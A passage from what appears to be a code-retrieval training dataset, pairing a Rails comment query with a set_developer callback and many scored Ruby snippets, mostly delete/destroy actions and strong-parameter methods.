"def destroy\n @developer.destroy\n respond_to do |format|\n format.html { redirect_to developers_url, notice: \"Developer was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @developer.destroy\n respond_to do |format|\n format.html { redirect_to developers_url, notice: \"Developer was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @developer.destroy\n respond_to do |format|\n format.html { redirect_to developers_url, notice: 'Developer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @developer.destroy\n respond_to do |format|\n format.html { redirect_to developers_url, notice: 'Developer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @ms_developer = MsDeveloper.find(params[:id])\n @ms_developer.destroy\n\n respond_to do |format|\n format.html { redirect_to ms_developers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @developer.destroy\n respond_to do |format|\n format.html { redirect_to developers_url, notice: \"Застройщик #{@developer.name} успешно удален.\" }\n format.json { head :no_content }\n end\n end",
"def delete\n api_client.delete(url)\n end",
"def delete\n request(:delete)\n end",
"def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end",
"def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def destroy\n official = Official.find(params[:id])\n official.destroy\n head 204\n end",
"def delete_api(name)\n url = '/apis/' + name\n payload = {}\n process_kong_request(url, :DELETE, payload)\n end",
"def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @developer.destroy\r\n respond_to do |format|\r\n format.html { redirect_to :back, notice: 'Developer was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete(path, params={}, options={})\n request(:delete, api_path(path), params, options)\n end",
"def delete!\n request! :delete\n end",
"def delete(path, data = {})\n self.class.delete path, :body => data.merge(:u => access_token)\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @api_client = ApiClient.find(params[:id])\n @api_client.destroy\n\n respond_to do |format|\n format.html { redirect_to api_clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api.destroy\n respond_to do |format|\n format.html { redirect_to apis_url }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def destroy\n @api_version = ApiVersion.find(params[:id])\n @api_version.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_api_versions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_version = ApiVersion.find(params[:id])\n @api_version.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_api_versions_url, flash: {success: t('app.msgs.success_deleted', :obj => t('mongoid.models.api_version.one'))} }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api = Api.find(params[:id])\n @api.destroy\n\n respond_to do |format|\n format.html { redirect_to(apis_url) }\n format.xml { head :ok }\n end\n end",
"def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end",
"def destroy\n @client.app_destroy(params[:id])\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"def delete(url, headers={})\n RestClient.delete url, headers\n end",
"def delete\n request('delete').auth_required!\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def delete\n render json: Users.delete(params[\"id\"])\n end",
"def destroy\n @my_studio_client = MyStudio::Client.find(params[:id])\n @my_studio_client.destroy\n\n respond_to do |format|\n format.html { redirect_to my_studio_clients_url }\n format.json { head :ok }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @oauth_client = OauthClient.find(params[:id])\n @oauth_client.destroy\n\n respond_to do |format|\n format.html { redirect_to oauth_clients_url }\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end",
"def destroy\n @api = Api.find(params[:id])\n @api.destroy\n\n respond_to do |format|\n format.html { redirect_to apis_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def delete\n render json: Company.delete(params[\"id\"])\n end",
"def delete(*rest) end",
"def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end",
"def destroy\n @api_user.destroy\n\n head :no_content\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def destroy\n @api_post.destroy\n\n head :no_content\n end",
"def delete\n render json: User.delete(params[\"id\"])\n end",
"def destroy\n @example.update_attributes(:deleted => 1)\n respond_to do |format|\n format.html { redirect_to examples_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize! :destroy, Employee\n @developer.destroy\n respond_to do |format|\n format.html { redirect_to developers_url, notice: 'Developer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def destroy\n @rest_api.destroy\n respond_to do |format|\n format.html { redirect_to rest_apis_url }\n format.json { head :no_content }\n end\n end",
"def delete(payload = {})\n request! do\n options = {payload: to_payload(payload)}\n api(options)[url.path].delete(API_HEADERS)\n end\n end",
"def delete(path, params)\n parse_response @client[path].delete(:params => params)\n end",
"def destroy\n @development = Development.find(params[:id])\n @development.destroy\n\n respond_to do |format|\n format.html { redirect_to developments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_key.destroy\n\n respond_to do |format|\n format.html { redirect_to(api_keys_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def delete_demo(id)\n delete_record \"/demos/#{id}\"\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def delete(path, params)\n request(:delete, path, {})\n end",
"def destroy\n @dapi.destroy\n respond_to do |format|\n format.html { redirect_to dapis_url, notice: 'Dapi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(*args)\n request(:delete, *args)\n end",
"def delete(path, params = {})\n request(:delete, path, params)\n end",
"def delete(path, params = {})\n request(:delete, path, params)\n end",
"def delete(path, params = {})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def destroy\n @client.delete( name )\n end",
"def destroy\n conf.delete 'api'\n end",
"def destroy\n @api.destroy\n respond_to do |format|\n format.html { redirect_to apis_url, notice: 'Api was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deletes_to(path,opts={},&block) #:nodoc: \n crud_to(:delete,path,opts[:params] || {},opts,&block)\n end",
"def destroy\n @client_doc.destroy\n respond_to do |format|\n format.html { redirect_to client_docs_url, notice: 'Client doc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n if body.empty? && params[:id]\n client.delete(params)\n elsif body.empty?\n client.delete_by_query(params.merge(body: body.merge(ALL)))\n else\n client.delete_by_query(params.merge(body: body))\n end\n end",
"def api_delete(action, data)\n api_request(action, data, 'DELETE')\n end",
"def destroy\n @client.delete(@name)\n end",
"def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end",
"def destroy\n @reqdevstatus.destroy\n respond_to do |format|\n format.html { redirect_to reqdevstatuses_url }\n format.json { head :no_content }\n end\n end",
"def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def delete\n user = getUserByAuthToken(request)\n user.soft_delete\n head :no_content\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end",
"def destroy\n @version.destroy\n respond_to do |format|\n format.html { redirect_to user_app_path(@user, @app), notice: 'Version was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path, params = {})\n request(:delete, path, params)\n end"
] |
[
"0.74475676",
"0.74362314",
"0.7360634",
"0.72691184",
"0.72691184",
"0.72691184",
"0.72691184",
"0.71332335",
"0.7109947",
"0.7097219",
"0.7097219",
"0.7094356",
"0.7094356",
"0.7071335",
"0.704793",
"0.70362794",
"0.7007513",
"0.69891113",
"0.68970907",
"0.6877959",
"0.6863991",
"0.6798291",
"0.67825323",
"0.67797893",
"0.67520934",
"0.6727793",
"0.67143977",
"0.67084193",
"0.6705641",
"0.6673614",
"0.66708505",
"0.6670393",
"0.665079",
"0.665079",
"0.6649071",
"0.6643879",
"0.66436636",
"0.6637093",
"0.66335374",
"0.66277605",
"0.66260695",
"0.6625849",
"0.662517",
"0.6613263",
"0.6595565",
"0.6590747",
"0.6578274",
"0.65679395",
"0.6562846",
"0.6555027",
"0.65414125",
"0.6523442",
"0.65185094",
"0.65176135",
"0.6515573",
"0.6509116",
"0.65087426",
"0.65072954",
"0.6498268",
"0.64950347",
"0.6492833",
"0.6492833",
"0.64906687",
"0.64813536",
"0.6469138",
"0.6466252",
"0.64604986",
"0.64577746",
"0.64513516",
"0.64513516",
"0.64513516",
"0.64513516",
"0.64513516",
"0.64513516",
"0.64513516",
"0.6437885",
"0.6430338",
"0.64160657",
"0.64145976",
"0.64093614",
"0.64093614",
"0.64093614",
"0.64090556",
"0.64054304",
"0.6397282",
"0.6394342",
"0.6393633",
"0.63897556",
"0.63887924",
"0.6386172",
"0.63842976",
"0.63806134",
"0.6379857",
"0.63752186",
"0.6367467",
"0.6367386",
"0.6364224",
"0.6362756",
"0.63607115",
"0.6355416"
] |
0.6430789
|
76
|
Use callbacks to share common setup or constraints between actions.
|
def set_developer
@developer = Developer.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def developer_params
params.require(:developer).permit(:name, :manager)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
